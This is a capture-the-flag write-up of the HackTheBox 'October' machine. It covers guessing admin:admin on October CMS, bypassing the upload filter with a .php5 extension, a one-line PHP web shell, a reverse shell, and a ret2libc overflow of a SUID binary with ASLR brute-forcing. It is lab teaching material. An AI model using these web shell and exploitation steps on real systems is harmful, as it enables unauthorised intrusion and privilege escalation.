HackTheBox: October

midist0xf
11 min readJan 15, 2021

ENUMERATION

Nmap tcp full scan

nmap -A -p- -oN nmap_tcp_all.txt 10.10.10.16

The nmap output highlighted the presence of:

  • SSH on port 22: OpensSSH 6.6.1p1
  • a web server on port 80: Apache/2.4.7 . The page title suggested the web server was running October CMS.

I decided to browse the CMS page which I thought could be the vector to gain the initial low-privileges access to the target. I tried searching for the specific version but I couldn’t find it.

A brief search with searchsploit showed different exploits. There weren’t many of them, anyway I decided to filter XSS related exploits because usually on this platform you don’t need to deliver client-side attacks . A little note: if you are practicing in more complex labs don’t ignore client-side attacks!!!

Multiple Vulnerabilities sounded interesting. I usually create a local copy of the exploit-db entry :

PHP upload protection bypass

The first vulnerability listed in 41936.txt highlighted that php5 extension can be used to bypass the upload protection mechanism. The payload then can be executed at /storage/app/media/payload.php5 .

PHP code execution via asset management

Another vulnerability entry described how an authenticated user with permission to manage website assets can have code execution uploading a file at http://10.10.10.16/backend/cms. So authentication was needed.

EXPLOITATION

I tried to browse to /backend/cms , then I was redirected to a login page.

Usually when I face admin/backend login forms I try these approaches:

  • typing common default credentials: admin:admin , admin:password , etc.
  • searching on google for default credentials <app>
  • bruteforcing withhydra

This time I was lucky enough 👀 to guess the creds (admin:admin)at the first attempt. Once authenticated as admin a function to upload files was available at /backend/cms/media .

In this situation is better to test RCE starting from a small web shell like<?php system($_GET['cmd']); ?> and then build up to a more complex payload.

I tested the presence of RCE as usual: http://10.10.10.16/shell.php5?cmd=<command>.

The next step was to upload a new reverse shell payload or run a reverse shell using the previous webshell. I decided to go with the first approach, then a copy of kali php reverse shell was created in the current directory, modified properly and finally uploaded to the target.

A low level-privileges reverse shell was obtained triggering the payload.

/bin/sh: 0 : can't access tty; job control turned off means that we are using a shell which has limited functionalities (no history, no job control, no tab completion, ctrl^c doesn’t work, etc.). Then the shell was upgraded as follows:

I always try to upgrade the shell because it’s helpful and because some exploits don’t work with a limited shell. For more details about the magic look here:

The user www-data was able to read the flag inside harry ‘s home directory.

PRIVILEGE ESCALATION

On Linux systems one of the most known Privilege Escalation vector is represented by SUID binaries. Running the following command on the target:

find / -type f -perm -4000 2>/dev/null

all the binaries with SUID bit set were listed.

/usr/local/bin/ovrflw was a root’s binary, with the SUID bit set and with an interesting name 👌.

My BOF knowledge was really scarce and limited to the most simple case scenario which is explained beautifully within OSCP material and other sources:

  • Fuzz the application/binary in order to crash it
  • Be able to consistently reproduce the crash
  • Generate a string which consists of a unique sequence of bytes
  • Crash the app with the previous string and find the offset at which you can overwrite EIP
  • Verify how much space is available for the shellcode
  • Find bad chars
  • Find JMP ESP instruction address in a library used by the binary and compiled without protection mechanisms
  • Overwrite the EIP address with the address previously found and execute the shellcode

I only heard about other techniques like ret2libc , ROP but I never tried them. This obviously wasn’t enough… The struggle and mistakes started here because I had one tool in my limited bof toolbox and I used it like an hammer 😤.

edb-debugger and classic bof (FAIL!)

First, I copied the binary locally in order to use edb-debugger. Then an input with an increasing length was provided as the binary argument till the binary crashed.

A string of 160 A ‘s was enough to crash the binary.

msf-pattern_create -l 160 was used to generate the unique string.

The unique string then was given to the binary as an input. EIP was overwritten with 64413764 .

msf-pattern_offset -l 160 -q 64413764 was executed to find the EIP offset.

A string composed of 112*A + 4*B was send to successfully verify that I could control the EIP and overwrite it with the B ‘s.

The next step was to check the space available for the shellcode , then a string composed of 112*A + B*4 + C*400 was passed as argument to the binary.

The C ‘s were located from address ffd8:620c (image) to address ffd8:6080, the difference converted in decimal was: 25100-24704=396 . So I had 396 bytes of space to place the shellcode.

It was time to find bad chars. A list of hex values was generated in bash as follows:

for i in {0..255}; do printf “\\\x%02x” $i;done
hex values

Then an input composed of 112*A + 4*B + hex_values was passed to the binary as an input. I already removed x\00 (null byte) from the list.

x09 was not shown and broke the sequence, then the bad chars list till now was: \x00,\x09 .

Second iteration removing \x09 .

\x0a was not shown and broke the sequence, then the bad chars list till now was: \x00,\x09,\x0a .

Third iteration removing \x0a .

\x20 was not shown and broke the sequence, then the bad chars list till now was:\x00,\x09,\x0a,\x20 .

Fourth iteration removing \x20 .

Finally the remaining hex values were shown till the last of them.

Then I used again the C‘s string instead of hex values string and followed ESP in the dump to check if it landed into the shellcode space filler ( C ) and it did.

The next information to find was the address of JMP ESP . In edb-debugger you can use ctrl^O . I selected the library /usr/lib32/libc-2.31.so , ESP-->EIP and a potential address was found.

At this point somebody (giofz) instilled a doubt in my mind: my environment was not the same as the target one.

  • My system was 64 bit, the target was 32 bit.
  • libraries had different addresses.

Then, also if I found an address it could be totally wrong 🤕.

ASLR (Address Space Layout Randomization)

Furthermore, ASLR was enabled. This mechanism goal is to mitigate exploitation attacks, anyway especially on 32 bit systems it can be bypassed due to the smaller randomization space. To check if it is enabled on a system you can execute:

cat /proc/sys/kernel/randomize_va_space

This file can has 1 of 3 values:

0 : Disable ASLR

1 : Conservative: Shared libraries and PIE binaries are randomized.

2 : Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.

randomize_va_space value on the target:

aslr on the target

Also, after running ldd ./ovrflw | grep libcseveral times it seemed that only 3 bytes were modified in the randomization.

Just as an exercise: as reported below if you disable ASLR on your machine the libc address remains the same.

DEP (Data Execution Prevention)
It’s not over yet 😭 because another protection mechanism was in place. This invalidated my first attempt.

checksec --file=./ovrflw

This command shown that NX was enabled. That means you can’t execute shellcode on the stack as you usually do during a classic bof. Then a workaround was needed.

Information retrieved till now:

  • crash offset: 112
  • NX is enabled → classic bof can’t work
  • ASLR is enabled and randomization involves few bytes so can be bruteforced
  • the target is 32 bit

…my methodology was missing a foundational step: check protection mechanisms.

gdb and ret2libc

Since ASLR was weak and potentially could be bypassed, ret2libc seemed to be the right attack to use to workaround NX protection. Indeed, creating and trying the exploit on the target machine was the best option to avoid issued due to the architecture/configuration differences. This required some gdb and ret2libc knowledge.

https://0x00sec.org/t/exploiting-techniques-000-ret2libc/1833

https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf

The first step was to run the binary with gdb.

A breakpoint was set at the main function.

(gdb) break main

Then the binary was run with the following input.

The execution stopped at the breakpoint and the address for the system function was retrieved.

Another way to get the address of the system function is using readelf .

The string "/bin/sh" was searched in order to pass its address as the system() argument. One way to accomplish the task is analyze the process memory mapping in order to get the Start Addr of the libc .

Then, starting from the base address of the libc the string resulted to be at 0xb7779bac .

Alternatively you can find the fixed offset of the string using strings and then add the offset to the libc base address.

The result is the same.

The final payload is described below:

system_address + fake_system_return_address + bin_sh_string_address

To make the exploit work you need to run the binary several times, you can use a while true . In my case 400 iterations were enough to match the address I used.

A little note about the DUMM address. As reported below is better to use exit() address instead of the dummy return address.

from exploit-db 28553

EXTRA

This is a quick list I wrote to learn the basic gdb commands useful in this context.

run gdb

gdb ./binary

set breakpoint at main

break main
b main

set breakpoint at a specific address

break *0x080483d9
b * main+39

delete all breakpoints

delete breakpoints

run the binary with arguments

r arg1 arg2
r `python -c "print 'A'*160"`

set intel flavor

set disassembly-flavor intel

disassemble main

disas main
disassemble main

get EIP value and saved registers

info frame

show words starting from the top of the stack

x/24wx $esp
x/200wx $esp-200

show words starting from a specific address

x/500x 0xbff0f100

show registers content

info register

show functions

info functions

EIP — buf starting address (buf size)

p/d 0xbffff77c - 0xbffff730

address of system, exit

p system
p exit

memory mapping of the process

info proc map

find a string in a range of addresses

find 0xb752b000, +9999999, "/bin/"

LESSONS LEARNED

  • blacklisting file extensions may not be the best approach to implement a file upload restriction mechanism.
  • default credentials are evil.
  • check protection mechanisms before starting to attack the binary: run checksec <binary> and look for NX,canaries,RELRO,PIE ,etc. Execute cat /proc/sys/kernel/randomize_va_space and run ldd <binary> successively to see if ASLR is enabled and if libraries starting addresses change in a small randomization space.
  • search for suitable ways to bypass these mechanisms.
  • learn at least the basic commands of different debuggers: immunity debugger , edb-debugger , gdb , ghidra .
  • in ret2libc use (gdb) p system or readelf -s ./path/libc.so | grep system to search the functions address. Use exit() address instead of DUMM to reduce the noise.

--

--